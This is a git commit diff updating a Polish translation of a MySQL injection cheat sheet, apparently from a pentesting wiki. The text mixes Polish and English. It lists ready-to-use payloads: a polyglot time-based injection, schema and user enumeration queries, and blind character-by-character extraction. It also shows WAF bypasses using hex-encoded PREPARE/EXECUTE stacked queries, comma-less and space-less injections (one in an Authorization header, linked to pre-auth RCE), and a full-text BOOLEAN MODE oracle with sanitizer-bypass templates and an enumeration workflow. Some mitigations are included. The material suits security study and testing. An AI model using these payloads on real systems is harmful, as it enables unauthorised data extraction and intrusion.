Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README

This commit is contained in:
Translator 2025-10-01 00:49:03 +00:00
parent 9df87765c1
commit 84407a88ed

View File

@ -12,7 +12,7 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## Ciekawe Funkcje
## Interesujące funkcje
### Potwierdź Mysql:
```
@ -44,15 +44,15 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Wszystkie wstrzyknięcia
## Wszystkie injection
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Flow
## Przepływ
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić "_**information_schema.tables**_" "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAF-ów).
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz użyć "_**information_schema.tables**_" zamiast "_**mysql.innodb_table_stats**_**"** (To może być przydatne do obejścia WAFs).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `group_concat()`
- `Limit X,1`
### **Ślepy jeden po drugim**
### **Blind one by one**
- `substr(version(),X,1)='r'` lub `substring(version(),X,1)=0x70` lub `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Ślepe dodawanie**
### **Blind adding**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Wykryj liczbę kolumn
## Wykrywanie liczby kolumn
Używając prostego ORDER
```
@ -101,83 +101,132 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Dowiedz się tutaj o różnych opcjach, aby** [**wykorzystać atak Mysql injection do uzyskania SSRF**](mysql-ssrf.md)**.**
**Dowiedz się tutaj różnych opcji, aby** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
## WAF bypass tricks
## Sztuczki omijania WAF
### Wykonywanie zapytań za pomocą Prepared Statements
### Wykonywanie zapytań przez Prepared Statements
Gdy dozwolone są złożone zapytania, może być możliwe ominięcie WAF-ów, przypisując do zmiennej szesnastkową reprezentację zapytania, które chcesz wykonać (używając SET), a następnie używając instrukcji PREPARE i EXECUTE w MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:
Gdy stacked queries są dozwolone, może być możliwe ominięcie WAFs przez przypisanie do zmiennej hexowej reprezentacji zapytania, które chcesz wykonać (używając SET), a następnie użycie instrukcji PREPARE i EXECUTE MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
Dla uzyskania dodatkowych informacji proszę odwołać się do [tego wpisu na blogu](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
Więcej informacji znajdziesz w [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Alternatywy dla information_schema
### Alternatywy dla Information_schema
Pamiętaj, że w "nowoczesnych" wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ _**mysql.innodb_table_stats**_ lub _**sys.x$schema_flattened_keys**_ lub **sys.schema_table_statistics**.
Pamiętaj, że w „nowoczesnych” wersjach **MySQL** możesz zastąpić _**information_schema.tables**_ przez _**mysql.innodb_table_stats**_, _**sys.x$schema_flattened_keys**_ albo **sys.schema_table_statistics**
### MySQLinjection bez PRZECINKÓW
### MySQLinjection without COMMAS
Wybierz 2 kolumny bez użycia przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
Select 2 kolumny bez użycia żadnego przecinka ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Pobieranie wartości bez nazwy kolumny
Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tabeli, możesz spróbować znaleźć, ile kolumn tam jest, wykonując coś takiego:
Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tej tabeli, możesz spróbować ustalić, ile kolumn się w niej znajduje, wykonując coś takiego:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flaga), możesz spróbować przeprowadzić brute force na zawartości flagi, próbując znak po znaku:
Zakładając, że są 2 kolumny (pierwsza to ID), a druga to flag, możesz spróbować bruteforce'ować zawartość flagi, próbując znak po znaku:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Więcej informacji w [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### Wstrzyknięcie bez SPACJI (sztuczka z komentarzem `/**/`)
### Injection without SPACES (`/**/` comment trick)
Niektóre aplikacje sanitizują lub analizują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białą przestrzeń, można jej użyć do całkowitego usunięcia normalnych spacji z ładunku, zachowując jednocześnie poprawność składniową zapytania.
Niektóre aplikacje oczyszczają lub parsują dane wejściowe użytkownika za pomocą funkcji takich jak `sscanf("%128s", buf)`, które **zatrzymują się na pierwszym znaku spacji**.
Ponieważ MySQL traktuje sekwencję `/**/` jako komentarz *i* jako białe znaki, można jej użyć do całkowitego usunięcia zwykłych spacji z payloadu, jednocześnie zachowując poprawność składniową zapytania.
Przykład wstrzyknięcia opartego na czasie, omijającego filtr spacji:
Przykład time-based blind injection omijającego filtr spacji:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
Które baza danych odbiera jako:
Które zostaje odebrane przez ba danych jako:
```sql
' OR SLEEP(5)-- -'
```
To jest szczególnie przydatne, gdy:
Jest to szczególnie przydatne, gdy:
* Kontrolowany bufor jest ograniczony rozmiarem (np. `%128s`) i spacje mogłyby przedwcześnie zakończyć dane wejściowe.
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie normalne spacje są usuwane lub używane jako separatory.
* W połączeniu z prymitywami `INTO OUTFILE`, aby osiągnąć pełne RCE przed uwierzytelnieniem (zobacz sekcję MySQL File RCE).
* Kontrolowany bufor ma ograniczony rozmiar (np. `%128s`) i spacje zakończyłyby wejście przedwcześnie.
* Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie zwykłe spacje są usuwane lub używane jako separatory.
* W połączeniu z prymitywami `INTO OUTFILE` w celu osiągnięcia pełnego pre-auth RCE (zobacz sekcję MySQL File RCE).
---
### Historia MySQL
Możesz zobaczyć inne wykonania w MySQL, przeglądając tabelę: **sys.x$statement_analysis**
Możesz zobaczyć inne wykonania wewnątrz MySQL, czytając tabelę: **sys.x$statement_analysis**
### Alternatywy wersji**s**
### Wersje alternatywne**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Inne przewodniki dotyczące wstrzykiwania MYSQL
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
To nie jest klasyczny SQL injection. Gdy deweloperzy przekazują dane użytkownika do `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL wykonuje bogaty zestaw operatorów wyszukiwania Boolean wewnątrz cytowanego ciągu. Wiele reguł WAF/SAST skupia się wyłącznie na przerwaniu cytatów i pomija tę powierzchnię.
Key points:
- Operators are evaluated inside the quotes: `+` (musi zawierać), `-` (nie może zawierać), `*` (trailing wildcard), `"..."` (dokładna fraza), `()` (grupowanie), `<`/`>`/`~` (wagi). Zobacz dokumentację MySQL.
- To pozwala na testy obecności/nieobecności oraz testy prefiksowe bez wychodzenia z literału ciągu znaków, np. `AGAINST('+admin*' IN BOOLEAN MODE)` aby sprawdzić dowolny termin zaczynający się od `admin`.
- Przydatne do budowy orakli, takich jak „czy którykolwiek wiersz zawiera termin z prefiksem X?”, oraz do enumeracji ukrytych ciągów przez rozszerzanie prefiksów.
Przykładowe zapytanie zbudowane przez backend:
```sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
```
Jeśli aplikacja zwraca różne odpowiedzi w zależności od tego, czy zestaw wyników jest pusty (np. przekierowanie vs. komunikat o błędzie), to zachowanie staje się oraklem boolowskim, który można wykorzystać do wyliczenia prywatnych danych, takich jak ukryte/usunięte tytuły.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: jeśli backend przycina 12 końcowe znaki w każdym słowie za pomocą regexu takiego jak `(\b.{1,2})(\s)|(\b.{1,2}$)`, wyślij `prefix*ZZ`. Sanitizer przytnie `ZZ`, ale zostawi `*`, więc `prefix*` przetrwa.
- Early-break stripping: jeśli kod usuwa operatory w każdym słowie, ale przestaje przetwarzać, gdy znajdzie dowolny token o długości ≥ min length, wyślij dwa tokeny: pierwszy to śmieciowy token spełniający próg długości, drugi niesie operator payload. Na przykład: `&&&&& +jack*ZZ` → po czyszczeniu: `+&&&&& +jack*`.
Payload template (URL-encoded):
```
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
```
- `%26` to `&`, `%2B` to `+`. The trailing `xD` (or any two letters) is trimmed by the cleaner, preserving `{FUZZ}*`.
- Treat a redirect as “match” and an error page as “no match”. Dont auto-follow redirects to keep the oracle observable.
Przebieg enumeracji:
1) Zacznij od `{FUZZ} = a…z,0…9`, aby znaleźć dopasowania pierwszej litery za pomocą `+a*`, `+b*`, …
2) Dla każdego pozytywnego prefiksu rozgałęź: `a* → aa* / ab* / …`. Powtarzaj, aby odzyskać cały ciąg.
3) Rozdziel żądania (proxies, multiple accounts) jeśli aplikacja wymusza flood control.
Dlaczego tytuły często leakują, a treści nie:
- Niektóre aplikacje wykonują checki widoczności dopiero po wstępnym MATCH na tytułach/subjects. Jeśli control-flow zależy od wyniku „any results?” przed filtrowaniem, występują existence leaks.
Środki zaradcze:
- Jeśli nie potrzebujesz logiki Boolean, użyj `IN NATURAL LANGUAGE MODE` lub traktuj dane wejściowe użytkownika jako literal (escape/quote disables operators in other modes).
- Jeśli wymagany jest tryb Boolean, usuń lub zneutralizuj wszystkie Boolean operators (`+ - * " ( ) < > ~`) dla każdego tokenu (no early breaks) po tokenizacji.
- Zastosuj filtry widoczności/autoryzacji przed MATCH, albo ujednolić odpowiedzi (constant timing/status) gdy result set jest empty vs. non-empty.
- Przejrzyj analogiczne funkcje w innych DBMS: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` także parsują operatory wewnątrz quoted arguments.
Uwagi:
- Prepared statements nie chronią przed semantycznym nadużyciem `REGEXP` lub search operators. Wejście takie jak `.*` pozostaje permissive regex nawet wewnątrz zacytowanego `REGEXP '.*'`. Używaj allow-lists lub explicit guards.
## Inne MYSQL injection guides
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Odniesienia
## Źródła
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE w Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [MySQL Full-Text Search Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
- [MySQL Full-Text Search Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
{{#include ../../../banners/hacktricks-training.md}}